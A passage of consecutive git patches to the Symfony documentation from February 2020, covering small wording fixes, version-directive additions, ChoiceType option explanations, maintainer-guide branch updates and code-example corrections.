@@ -332,7 +332,7 @@ If you want to only compile a CSS file, that's possible via ``addStyleEntry()``:
 
 .. code-block:: javascript
 
-    // webpack/config.js
+    // webpack.config.js
     Encore
         // ...
 

From f1e43a1475e5778f5fe8f5a50c8b11520ef660c9 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 17 Feb 2020 12:45:25 +0100
Subject: [PATCH 0317/7107] Minor tweak

---
 reference/twig_reference.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/twig_reference.rst b/reference/twig_reference.rst
index 99bda0b3821..4ae64b7be3e 100644
--- a/reference/twig_reference.rst
+++ b/reference/twig_reference.rst
@@ -131,7 +131,7 @@ csrf_token
     {{ csrf_token(intention) }}
 
 ``intention``
-    **type**: ``string`` - an arbitrary string used to identify the token value.
+    **type**: ``string`` - an arbitrary string used to identify the token.
 
 Renders a CSRF token. Use this function if you want :doc:`CSRF protection </security/csrf>`
 in a regular HTML form not managed by the Symfony Form component.

From 5e09312b9b84e4f47a7a1db38cc55ef4c1ebe080 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 17 Feb 2020 12:46:34 +0100
Subject: [PATCH 0318/7107] Tweak

---
 reference/configuration/security.rst | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index 822169bcb0e..f3e9e0f5532 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -593,8 +593,7 @@ csrf_token_id
 
 **type**: ``string`` **default**: ``'logout'``
 
-An arbitrary string used to identify the token value (and check its validity
-afterwards).
+An arbitrary string used to identify the token (and check its validity afterwards).
 
 .. _reference-security-ldap:
 

From 09d4c7a1e6285a096e1dd286d25bf17f8d0ce9ec Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Sun, 26 Jan 2020 16:33:48 +0100
Subject: [PATCH 0319/7107] [Messenger] Note about serializer

---
 messenger.rst | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index 8afce615c1a..66d6350e5a0 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1023,6 +1023,13 @@ If you *do* choose to use the Symfony serializer, you can control the context
 on a case-by-case basis via the :class:`Symfony\\Component\\Messenger\\Stamp\\SerializerStamp`
 (see `Envelopes & Stamps`_).
 
+.. tip::
+
+    When sending/receiving messages to/from another application, it could be a good
+    idea to have more control over the serialization process. Using a custom serializer
+    provides that control. See `Symfony Casts' message serializer tutorial`_ for
+    details.
+
 Customizing Handlers
 --------------------
 
@@ -1514,3 +1521,4 @@ Learn more
 .. _`Enqueue's transport`: https://github.com/sroze/messenger-enqueue-transport
 .. _`streams`: https://redis.io/topics/streams-intro
 .. _`Supervisor docs`: http://supervisord.org/
+.. _`Symfony Casts' message serializer tutorial`: https://symfonycasts.com/screencast/messenger/transport-serializer

From 8e3cd58d16497b6d6a7bb4695170690d20a20818 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 17 Feb 2020 12:54:36 +0100
Subject: [PATCH 0320/7107] Minor tweak

---
 messenger.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 66d6350e5a0..ca8be7499be 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1025,9 +1025,9 @@ on a case-by-case basis via the :class:`Symfony\\Component\\Messenger\\Stamp\\Se
 
 .. tip::
 
-    When sending/receiving messages to/from another application, it could be a good
-    idea to have more control over the serialization process. Using a custom serializer
-    provides that control. See `Symfony Casts' message serializer tutorial`_ for
+    When sending/receiving messages to/from another application, you may need
+    more control over the serialization process. Using a custom serializer
+    provides that control. See `SymfonyCasts' message serializer tutorial`_ for
     details.
 
 Customizing Handlers
@@ -1521,4 +1521,4 @@ Learn more
 .. _`Enqueue's transport`: https://github.com/sroze/messenger-enqueue-transport
 .. _`streams`: https://redis.io/topics/streams-intro
 .. _`Supervisor docs`: http://supervisord.org/
-.. _`Symfony Casts' message serializer tutorial`: https://symfonycasts.com/screencast/messenger/transport-serializer
+.. _`SymfonyCasts' message serializer tutorial`: https://symfonycasts.com/screencast/messenger/transport-serializer

From 323bf7f0db5c0d7d9e1d36e383be17aefc5d6bc9 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 17 Feb 2020 13:06:07 +0100
Subject: [PATCH 0321/7107] [Process] Documented the getStartTime() method

---
 components/process.rst | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/components/process.rst b/components/process.rst
index baaff0f920b..c7b286fec71 100644
--- a/components/process.rst
+++ b/components/process.rst
@@ -421,6 +421,14 @@ check regularly::
         usleep(200000);
     }
 
+.. tip::
+
+    You can get the process start time using the ``getStartTime()`` method.
+
+    .. versionadded:: 5.1
+
+        The ``getStartTime()`` method was introduced in Symfony 5.1.
+
 .. _reference-process-signal:
 
 Process Idle Timeout

From 261d67a18639635ced24919456241a3144044e1f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 17 Feb 2020 13:20:03 +0100
Subject: [PATCH 0322/7107] [Form] Mentioned the form theme for Foundation 6

---
 form/form_themes.rst | 10 +++++++++-
 1 file changed, 9 insertions(+), 1 deletion(-)

diff --git a/form/form_themes.rst b/form/form_themes.rst
index 70c357c47c9..2c8ea2ac95a 100644
--- a/form/form_themes.rst
+++ b/form/form_themes.rst
@@ -35,7 +35,14 @@ in a single Twig template and they are enabled in the
   ``bootstrap_3_horizontal_layout.html.twig`` but updated for Bootstrap 4 styles.
 * `foundation_5_layout.html.twig`_, wraps each form field inside a ``<div>``
   element with the appropriate CSS classes to apply the default styles of the
-  `Foundation CSS framework`_.
+  version 5 of `Foundation CSS framework`_.
+* `foundation_6_layout.html.twig`_, wraps each form field inside a ``<div>``
+  element with the appropriate CSS classes to apply the default styles of the
+  version 6 of `Foundation CSS framework`_.
+
+.. versionadded:: 5.1
+
+    The ``foundation_6_layout.html.twig`` theme was introduced in Symfony 5.1.
 
 .. tip::
 
@@ -599,6 +606,7 @@ is a collection of fields (e.g. a whole form), and not just an individual field:
 .. _`Bootstrap 3 CSS framework`: https://getbootstrap.com/docs/3.3/
 .. _`Bootstrap 4 CSS framework`: https://getbootstrap.com/docs/4.1/
 .. _`foundation_5_layout.html.twig`: https://github.com/symfony/symfony/blob/master/src/Symfony/Bridge/Twig/Resources/views/Form/foundation_5_layout.html.twig
+.. _`foundation_6_layout.html.twig`: https://github.com/symfony/symfony/blob/master/src/Symfony/Bridge/Twig/Resources/views/Form/foundation_6_layout.html.twig
 .. _`Foundation CSS framework`: http://foundation.zurb.com/
 .. _`Twig "use" tag`: https://twig.symfony.com/doc/2.x/tags/use.html
 .. _`Twig parent() function`: https://twig.symfony.com/doc/2.x/functions/parent.html

From 9b2315fe5f1615164d34a48146b3266570255ad1 Mon Sep 17 00:00:00 2001
From: Ricardo de Vries <ricardozegt@gmail.com>
Date: Mon, 17 Feb 2020 19:34:18 +0100
Subject: [PATCH 0323/7107] fix: minor array fix/adjustment.

---
 doctrine/multiple_entity_managers.rst | 20 ++++++++++----------
 1 file changed, 10 insertions(+), 10 deletions(-)

diff --git a/doctrine/multiple_entity_managers.rst b/doctrine/multiple_entity_managers.rst
index 4c73ef6f741..8c86b7c970c 100644
--- a/doctrine/multiple_entity_managers.rst
+++ b/doctrine/multiple_entity_managers.rst
@@ -156,11 +156,11 @@ The following configuration code shows how you can configure two entity managers
                         'connection' => 'default',
                         'mappings'   => [
                             'Main'  => [
-                                is_bundle => false,
-                                type => 'annotation',
-                                dir => '%kernel.project_dir%/src/Entity/Main',
-                                prefix => 'App\Entity\Main',
-                                alias => 'Main',
+                                'is_bundle' => false,
+                                'type' => 'annotation',
+                                'dir' => '%kernel.project_dir%/src/Entity/Main',
+                                'prefix' => 'App\Entity\Main',
+                                'alias' => 'Main',
                             ]
                         ],
                     ],
@@ -168,11 +168,11 @@ The following configuration code shows how you can configure two entity managers
                         'connection' => 'customer',
                         'mappings'   => [
                             'Customer'  => [
-                                is_bundle => false,
-                                type => 'annotation',
-                                dir => '%kernel.project_dir%/src/Entity/Customer',
-                                prefix => 'App\Entity\Customer',
-                                alias => 'Customer',
+                                'is_bundle' => false,
+                                'type' => 'annotation',
+                                'dir' => '%kernel.project_dir%/src/Entity/Customer',
+                                'prefix' => 'App\Entity\Customer',
+                                'alias' => 'Customer',
                             ]
                         ],
                     ],

From 5cbfbebee9348c66e4aa8140fb51ce1870f023b1 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 17 Feb 2020 20:30:59 +0100
Subject: [PATCH 0324/7107] [Security] Added the missing versionadded directive

---
 security.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/security.rst b/security.rst
index ec7c17dcb29..1b341e333e8 100644
--- a/security.rst
+++ b/security.rst
@@ -279,6 +279,10 @@ important section is ``firewalls``:
             ],
         ]);
 
+.. versionadded:: 4.4
+
+    The ``anonymous: lazy`` option was introduced in Symfony 4.4.
+
 A "firewall" is your authentication system: the configuration below it defines
 *how* your users will be able to authenticate (e.g. login form, API token, etc).
 

From 6a07a71416b2828fa3ab4cbaafe65b3f6be04212 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 17 Feb 2020 20:31:40 +0100
Subject: [PATCH 0325/7107] Removed an unneeded versionadded directive

---
 security.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/security.rst b/security.rst
index 1b341e333e8..ec7c17dcb29 100644
--- a/security.rst
+++ b/security.rst
@@ -279,10 +279,6 @@ important section is ``firewalls``:
             ],
         ]);
 
-.. versionadded:: 4.4
-
-    The ``anonymous: lazy`` option was introduced in Symfony 4.4.
-
 A "firewall" is your authentication system: the configuration below it defines
 *how* your users will be able to authenticate (e.g. login form, API token, etc).
 

From bea90316c793bf2bc21ecbbf19cf1d889cabcc98 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Mon, 17 Feb 2020 21:20:32 +0100
Subject: [PATCH 0326/7107] Use valid version in README

---
 README.markdown | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/README.markdown b/README.markdown
index 9ffba759439..1d94f6f1ff0 100644
--- a/README.markdown
+++ b/README.markdown
@@ -12,7 +12,7 @@ Symfony documentation, please read
 
 > **Note**
 > Unless you're documenting a feature that was introduced *after* Symfony 3.4
-> (e.g. in Symfony 4.2), all pull requests must be based off of the **3.4** branch,
+> (e.g. in Symfony 4.4), all pull requests must be based off of the **3.4** branch,
 > **not** the master or older branches.
 
 SymfonyCloud

From 4d6da00dffdec51df89788917733490a468c43dd Mon Sep 17 00:00:00 2001
From: Yohann Durand <34881241+Yohann76@users.noreply.github.com>
Date: Tue, 18 Feb 2020 00:38:21 +0100
Subject: [PATCH 0327/7107] Update serializer.rst

---
 components/serializer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index bad4af9572c..faf1f61f1d9 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -624,7 +624,7 @@ If you are using isser methods (methods prefixed by ``is``, like
 ``App\Model\Person::isSportsperson()``), the Serializer component will
 automatically detect and use it to serialize related attributes.
 
-The ``ObjectNormalizer`` also takes care of methods starting with ``has``, ``add``
+The `ObjectNormalizer` also takes care of methods starting with ``has``, ``add``
 and ``remove``.
 
 Using Callbacks to Serialize Properties with Object Instances

From 4ee41028627999ad7712bf5610ec8510ed5b32a1 Mon Sep 17 00:00:00 2001
From: Jules Pietri <heahdude@yahoo.fr>
Date: Mon, 17 Feb 2020 02:43:27 +0100
Subject: [PATCH 0328/7107] [Form] minor fixes in ChoiceType options

---
 reference/forms/types/choice.rst              | 46 +++++++++++++------
 .../forms/types/options/choice_attr.rst.inc   |  2 +-
 .../forms/types/options/choice_label.rst.inc  |  4 +-
 .../forms/types/options/choice_name.rst.inc   |  7 +--
 .../forms/types/options/choice_value.rst.inc  | 18 ++------
 .../forms/types/options/group_by.rst.inc      |  6 +--
 .../types/options/preferred_choices.rst.inc   |  6 +--
 7 files changed, 51 insertions(+), 38 deletions(-)

diff --git a/reference/forms/types/choice.rst b/reference/forms/types/choice.rst
index a21c3312416..82036dc3d82 100644
--- a/reference/forms/types/choice.rst
+++ b/reference/forms/types/choice.rst
@@ -74,8 +74,8 @@ This will create a ``select`` drop-down like this:
 
 If the user selects ``No``, the form will return ``false`` for this field. Similarly,
 if the starting data for this field is ``true``, then ``Yes`` will be auto-selected.
-In other words, the **value** of each item is the value you want to get/set in PHP
-code, while the **key** is what will be shown to the user.
+In other words, the **choice** of each item is the value you want to get/set in PHP
+code, while the **key** is the **label** that will be shown to the user.
 
 Advanced Example (with Objects!)
 --------------------------------
@@ -95,23 +95,40 @@ method::
             new Category('Cat3'),
             new Category('Cat4'),
         ],
-        'choice_label' => function(Category $category, $key, $value) {
-            return strtoupper($category->getName());
+        // "name" is a property path, meaning Symfony will look for a public
+        // property or a public method like "getName()" to define the input
+        // string value that will be submitted by the form
+        'choice_value' => 'name',
+        // a callback to return the label for a given choice
+        // if a placeholder is used, its empty value (null) may be passed but
+        // its label is defined by its own "placeholder" option
+        'choice_label' => function(?Category $category) {
+            return $category ? strtoupper($category->getName()) : '';
         },
-        'choice_attr' => function(Category $category, $key, $value) {
-            return ['class' => 'category_'.strtolower($category->getName())];
+        // returns the html attributes for each option input (may be radio/checkbox)
+        'choice_attr' => function(?Category $category) {
+            return $category ? ['class' => 'category_'.strtolower($category->getName())] : [];
         },
-        'group_by' => function(Category $category, $key, $value) {
+        // every option can use a string property path or any callable that get
+        // passed each choice as argument, but it may not be needed
+        'group_by' => function() {
             // randomly assign things into 2 groups
             return rand(0, 1) == 1 ? 'Group A' : 'Group B';
         },
-        'preferred_choices' => function(Category $category, $key, $value) {
-            return $category->getName() == 'Cat2' || $category->getName() == 'Cat3';
+        // a callback to return whether a category is preferred
+        'preferred_choices' => function(?Category $category) {
+            return $category && 100 < $category->getArticleCounts();
         },
     ]);
 
-You can also customize the `choice_name`_ and `choice_value`_ of each choice if
-you need further HTML customization.
+You can also customize the `choice_name`_ of each choice. You can learn more
+about all of these options in the sections below.
+
+.. caution::
+
+    The *placeholder* is a specific field, when the choices are optional the
+    first item in the list must be empty, so the user can unselect.
+    Be sure to always handle the empty choice ``null`` when using callbacks.
 
 .. _forms-reference-choice-tags:
 
@@ -151,7 +168,7 @@ by passing a multi-dimensional ``choices`` array::
 .. image:: /_images/reference/form/choice-example4.png
    :align: center
 
-To get fancier, use the `group_by`_ option.
+To get fancier, use the `group_by`_ option instead.
 
 Field Options
 -------------
@@ -169,7 +186,10 @@ is the item's label and the array value is the item's value::
     // ...
 
     $builder->add('inStock', ChoiceType::class, [
-        'choices' => ['In Stock' => true, 'Out of Stock' => false],
+        'choices' => [
+            'In Stock' => true,
+            'Out of Stock' => false,
+        ],
     ]);
 
 If there are choice values that are not scalar or the stringified
diff --git a/reference/forms/types/options/choice_attr.rst.inc b/reference/forms/types/options/choice_attr.rst.inc
index 4a91d6dacc8..ac149f3999d 100644
--- a/reference/forms/types/options/choice_attr.rst.inc
+++ b/reference/forms/types/options/choice_attr.rst.inc
@@ -1,7 +1,7 @@
 ``choice_attr``
 ~~~~~~~~~~~~~~~
 
-**type**: ``array``, ``callable`` or ``string`` **default**: ``[]``
+**type**: ``array``, ``callable``, ``string`` or :class:`Symfony\\Component\\PropertyAccess\\PropertyPath` **default**: ``[]``
 
 Use this to add additional HTML attributes to each choice. This can be
 an associative array where the keys match the choice keys and the values
diff --git a/reference/forms/types/options/choice_label.rst.inc b/reference/forms/types/options/choice_label.rst.inc
index 49eb1c20dd7..53cd469b916 100644
--- a/reference/forms/types/options/choice_label.rst.inc
+++ b/reference/forms/types/options/choice_label.rst.inc
@@ -1,9 +1,9 @@
 ``choice_label``
 ~~~~~~~~~~~~~~~~
 
-**type**: ``string``, ``callable`` or ``false`` **default**: ``null``
+**type**: ``string``, ``callable``, ``false`` or :class:`Symfony\\Component\\PropertyAccess\\PropertyPath` **default**: ``null``
 
-Normally, the array key of each item in the ``choices`` option is used as the
+By default, the array key of each item in the ``choices`` option is used as the
 text that's shown to the user. The ``choice_label`` option allows you to take
 more control::
 
diff --git a/reference/forms/types/options/choice_name.rst.inc b/reference/forms/types/options/choice_name.rst.inc
index a9cd27e4f52..a01341b5418 100644
--- a/reference/forms/types/options/choice_name.rst.inc
+++ b/reference/forms/types/options/choice_name.rst.inc
@@ -1,14 +1,15 @@
 ``choice_name``
 ~~~~~~~~~~~~~~~
 
-**type**: ``callable`` or ``string`` **default**: ``null``
+**type**: ``callable``, ``string`` or :class:`Symfony\\Component\\PropertyAccess\\PropertyPath` **default**: ``null``
 
 Controls the internal field name of the choice. You normally don't care about this,
 but in some advanced cases, you might. For example, this "name" becomes the index
-of the choice views in the template.
+of the choice views in the template and is used as part o the field name
+attribute.
 
 This can be a callable or a property path. See `choice_label`_ for similar usage.
-If ``null`` is used, an incrementing integer is used as the name.
+By default, the choice key or an incrementing integer may be used (starting at ``0``).
 
 .. caution::
 
diff --git a/reference/forms/types/options/choice_value.rst.inc b/reference/forms/types/options/choice_value.rst.inc
index a71ba9cdd36..a37a36cf299 100644
--- a/reference/forms/types/options/choice_value.rst.inc
+++ b/reference/forms/types/options/choice_value.rst.inc
@@ -1,28 +1,20 @@
 ``choice_value``
 ~~~~~~~~~~~~~~~~
 
-**type**: ``callable`` or ``string`` **default**: ``null``
+**type**: ``callable``, ``string`` or :class:`Symfony\\Component\\PropertyAccess\\PropertyPath` **default**: ``null``
 
 Returns the string "value" for each choice, which must be unique across all choices.
 This is used in the ``value`` attribute in HTML and submitted in the POST/PUT requests.
 You don't normally need to worry about this, but it might be handy when processing
 an API request (since you can configure the value that will be sent in the API request).
 
-This can be a callable or a property path. If ``null`` is given, an incrementing
-integer is used as the value.
+This can be a callable or a property path. By default, the choices are used if they
+can be casted to strings. Otherwise an incrementing integer is used (starting at ``0``).
 
 If you pass a callable, it will receive one argument: the choice itself. When using
 the :doc:`/reference/forms/types/entity`, the argument will be the entity object
-for each choice or ``null`` in some cases, which you need to handle::
+for each choice or ``null`` in a placeholder is used, which you need to handle::
 
-    'choice_value' => function (MyOptionEntity $entity = null) {
+    'choice_value' => function (?MyOptionEntity $entity) {
         return $entity ? $entity->getId() : '';
     },
-
-.. caution::
-
-    In Symfony 2.7, there was a small backwards-compatibility break with how the
-    ``value`` attribute of options is generated. This is not a problem unless you
-    rely on the option values in JavaScript. See `issue #14825`_ for details.
-
-.. _`issue #14825`: https://github.com/symfony/symfony/pull/14825
diff --git a/reference/forms/types/options/group_by.rst.inc b/reference/forms/types/options/group_by.rst.inc
index f8ce4aea36d..b649793e9ff 100644
--- a/reference/forms/types/options/group_by.rst.inc
+++ b/reference/forms/types/options/group_by.rst.inc
@@ -1,7 +1,7 @@
 ``group_by``
 ~~~~~~~~~~~~
 
-**type**: ``string`` or ``callable`` **default**: ``null``
+**type**: ``string``, ``callable`` or :class:`Symfony\\Component\\PropertyAccess\\PropertyPath` **default**: ``null``
 
 You can group the ``<option>`` elements of a ``<select>`` into ``<optgroup>``
 by passing a multi-dimensional array to ``choices``. See the
@@ -25,9 +25,9 @@ Take the following example::
         'group_by' => function($choice, $key, $value) {
             if ($choice <= new \DateTime('+3 days')) {
                 return 'Soon';
-            } else {
-                return 'Later';
             }
+
+            return 'Later';
         },
     ]);
 
diff --git a/reference/forms/types/options/preferred_choices.rst.inc b/reference/forms/types/options/preferred_choices.rst.inc
index d1884c3456e..6b01a8af257 100644
--- a/reference/forms/types/options/preferred_choices.rst.inc
+++ b/reference/forms/types/options/preferred_choices.rst.inc
@@ -1,11 +1,11 @@
 ``preferred_choices``
 ~~~~~~~~~~~~~~~~~~~~~
 
-**type**: ``array``, ``callable`` or ``string`` **default**: ``[]``
+**type**: ``array``, ``callable``, ``string`` or :class:`Symfony\\Component\\PropertyAccess\\PropertyPath` **default**: ``[]``
 
 This option allows you to move certain choices to the top of your list with a visual
 separator between them and the rest of the options. If you have a form of languages,
-you can list the most popular on top, like Bork Bork and Pirate::
+you can list the most popular on top, like Bork and Pirate::
 
     use Symfony\Component\Form\Extension\Core\Type\ChoiceType;
     // ...
@@ -14,7 +14,7 @@ you can list the most popular on top, like Bork Bork and Pirate::
         'choices' => [
             'English' => 'en',
             'Spanish' => 'es',
-            'Bork'   => 'muppets',
+            'Bork' => 'muppets',
             'Pirate' => 'arr',
         ],
         'preferred_choices' => ['muppets', 'arr'],

From 2a596deb83d2f8c4c3e479db7f6b301878edcd8d Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Tue, 18 Feb 2020 07:49:08 +0100
Subject: [PATCH 0329/7107] Use valid version in maintainer guide

---
 _build/maintainer_guide.rst | 20 ++++++++++----------
 1 file changed, 10 insertions(+), 10 deletions(-)

diff --git a/_build/maintainer_guide.rst b/_build/maintainer_guide.rst
index fd3de4f3f3b..9788fd057f5 100644
--- a/_build/maintainer_guide.rst
+++ b/_build/maintainer_guide.rst
@@ -166,7 +166,7 @@ usually simple to fix:
       ...
 
       Unable to rebase the patch for <comment>pull/11183</comment>
-      The command "'git' 'rebase' '--onto' '3.4' '4.2' 'pull/11160'" failed.
+      The command "'git' 'rebase' '--onto' '3.4' '4.4' 'pull/11160'" failed.
       Exit Code: 128(Invalid exit argument)
 
       [...]
@@ -195,7 +195,7 @@ Step 3: Merge it into the other branches
 
 If a PR has not been merged in ``master``, you must merge it up into all the
 maintained branches until ``master``. Imagine that you are merging a PR against
-``3.4`` and the maintained branches are ``3.4``, ``4.2`` and ``master``:
+``3.4`` and the maintained branches are ``3.4``, ``4.4`` and ``master``:
 
 .. code-block:: terminal
 
@@ -208,8 +208,8 @@ maintained branches until ``master``. Imagine that you are merging a PR against
     $ git push origin
     $ git push upstream
 
-    $ git checkout 4.2
-    $ git merge upstream/4.2
+    $ git checkout 4.4
+    $ git merge upstream/4.4
     $ git merge --log 3.4
     # here you can face several errors explained later
     $ git push origin
@@ -217,7 +217,7 @@ maintained branches until ``master``. Imagine that you are merging a PR against
 
     $ git checkout master
     $ git merge upstream/master
-    $ git merge --log 4.2
+    $ git merge --log 4.4
     $ git push origin
     $ git push upstream
 
@@ -257,7 +257,7 @@ easy to spot because you'll see lots of conflicts:
 
     # DON'T DO THIS! It's a wrong branch merge
     $ git checkout 3.4
-    $ git merge upstream/4.2
+    $ git merge upstream/4.4
 
 As long as you don't push this wrong merge, there's no problem. Delete your
 local branch and check it out again:
@@ -278,8 +278,8 @@ When merging things to upper branches, most of the times you'll see conflicts:
 
 .. code-block:: terminal
 
-    $ git checkout 4.2
-    $ git merge upstream/4.2
+    $ git checkout 4.4
+    $ git merge upstream/4.4
     $ git merge --log 3.4
 
       Auto-merging security/entity_provider.rst
@@ -314,8 +314,8 @@ were modified by the PR but no longer exist in newer branches:
 
 .. code-block:: terminal
 
-    $ git checkout 4.2
-    $ git merge upstream/4.2
+    $ git checkout 4.4
+    $ git merge upstream/4.4
     $ git merge --log 3.4
 
       Auto-merging translation/debug.rst

From 2743d6f977e773ca353bb4b0a3a2d784f9a634fb Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Mon, 17 Feb 2020 08:55:52 +0100
Subject: [PATCH 0330/7107] Add note about final classes

---
 service_container/lazy_services.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/service_container/lazy_services.rst b/service_container/lazy_services.rst
index 44dec8552c4..b5bb09acba6 100644
--- a/service_container/lazy_services.rst
+++ b/service_container/lazy_services.rst
@@ -23,6 +23,10 @@ Configuring lazy services is one answer to this. With a lazy service, a
 just like the ``mailer``, except that the ``mailer`` isn't actually instantiated
 until you interact with the proxy in some way.
 
+.. caution::
+
+    Lazy services do not support `final`_ classes.
+
 Installation
 ------------
 
@@ -106,3 +110,4 @@ in the `documentation of ProxyManager`_.
 .. _`proxy`: https://en.wikipedia.org/wiki/Proxy_pattern
 .. _`documentation of ProxyManager`: https://github.com/Ocramius/ProxyManager/blob/master/docs/lazy-loading-value-holder.md
 .. _`ocramius/proxy-manager`: https://github.com/Ocramius/ProxyManager
+.. _`final`: https://www.php.net/manual/en/language.oop5.final.php

From f6d8eaeb2cf0948d00d4c40f25c41b57bd1ed951 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Jan=20Sch=C3=A4dlich?= <jan.schaedlich@sensiolabs.de>
Date: Tue, 18 Feb 2020 09:26:27 +0100
Subject: [PATCH 0331/7107] Fix customize notification example

---
 notifier.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index 986b5481c9e..fe6dedb0070 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -477,7 +477,7 @@ Customize Notifications
 You can extend the ``Notification`` or ``Recipient`` base classes to
 customize their behavior. For instance, you can overwrite the
 ``getChannels()`` method to only return ``sms`` if the invoice price is
-very high and the recipient has a phonenumber::
+very high and the recipient has a phone number::
 
     namespace App\Notifier;
 
@@ -500,10 +500,10 @@ very high and the recipient has a phonenumber::
                 && $recipient instanceof AdminRecipient
                 && null !== $recipient->getPhone()
             ) {
-                return ['sms', 'email'];
+                return ['sms'];
             }
 
-            return 'email';
+            return ['email'];
         }
     }
 

From 77d6a59a9b28d1e7d0a3f0ed09a1ea8e83ee5ce1 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Tue, 18 Feb 2020 12:09:23 +0100
Subject: [PATCH 0332/7107] Revert "Update serializer.rst"

This reverts commit 4d6da00dffdec51df89788917733490a468c43dd.
---
 components/serializer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index faf1f61f1d9..bad4af9572c 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -624,7 +624,7 @@ If you are using isser methods (methods prefixed by ``is``, like
 ``App\Model\Person::isSportsperson()``), the Serializer component will
 automatically detect and use it to serialize related attributes.
 
-The `ObjectNormalizer` also takes care of methods starting with ``has``, ``add``
+The ``ObjectNormalizer`` also takes care of methods starting with ``has``, ``add``
 and ``remove``.
 
 Using Callbacks to Serialize Properties with Object Instances

From 00da78837e1f35234c0c7a046b25dbab726a5bd5 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 18 Feb 2020 13:15:07 +0100
Subject: [PATCH 0333/7107] [Validator] Added the missing PHP format in a code
 example

---
 validation/custom_constraint.rst | 16 ++++++++++++++++
 1 file changed, 16 insertions(+)

diff --git a/validation/custom_constraint.rst b/validation/custom_constraint.rst
index 3842a831589..0540ecfb4d6 100644
--- a/validation/custom_constraint.rst
+++ b/validation/custom_constraint.rst
@@ -234,3 +234,19 @@ not to the property:
         <class name="AppBundle\Entity\AcmeEntity">
             <constraint name="AppBundle\Validator\Constraints\ProtocolClass"/>
         </class>
+
+    .. code-block:: php
+
+        // src/AppBundle/Entity/AcmeEntity.php
+        use AppBundle\Validator\Constraints\ProtocolClass;
+        use Symfony\Component\Validator\Mapping\ClassMetadata;
+
+        class AcmeEntity
+        {
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            {
+                $metadata->addConstraint(new ProtocolClass());
+            }
+        }

From e5b94a5909553aca2f8fe73be874a834227357ff Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Tue, 18 Feb 2020 15:10:48 +0100
Subject: [PATCH 0334/7107] Remove AppBundle form path and namespace. refs
 #13178

---
 validation/custom_constraint.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/validation/custom_constraint.rst b/validation/custom_constraint.rst
index 7354ebe3206..ad13504ecd3 100644
--- a/validation/custom_constraint.rst
+++ b/validation/custom_constraint.rst
@@ -248,8 +248,8 @@ not to the property:
 
     .. code-block:: php
 
-        // src/AppBundle/Entity/AcmeEntity.php
-        use AppBundle\Validator\Constraints\ProtocolClass;
+        // src/Entity/AcmeEntity.php
+        use App\Validator\Constraints\ProtocolClass;
         use Symfony\Component\Validator\Mapping\ClassMetadata;
 
         class AcmeEntity

From 27ee7117268ec1fbe37075ec7170cd3d588f9c2b Mon Sep 17 00:00:00 2001
From: Abdouni Abdelkarim <abdounikarim@gmail.com>
Date: Tue, 18 Feb 2020 15:09:07 +0100
Subject: [PATCH 0335/7107] Update frontend.rst

fixing typo
---
 frontend.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/frontend.rst b/frontend.rst
index 7c1a059c1ab..264a27529f2 100644
--- a/frontend.rst
+++ b/frontend.rst
@@ -85,7 +85,7 @@ Issues & Questions
 Full API
 ........
 
-* `Full API`_: https://github.com/symfony/webpack-encore/blob/master/index.js
+* `Full API`_
 
 Assetic
 -------

From 9e4f7ab47aa67ca97a5bcf68b5efe69809ba4c8c Mon Sep 17 00:00:00 2001
From: Zairig Imad <imadzairig@gmail.com>
Date: Tue, 11 Feb 2020 23:25:05 +0100
Subject: [PATCH 0336/7107] [Templating] added the `private` parameter in the
 TemplateController example

---
 templates.rst | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/templates.rst b/templates.rst
index a843db21c03..4bad36eb9a7 100644
--- a/templates.rst
+++ b/templates.rst
@@ -476,6 +476,9 @@ provided by Symfony:
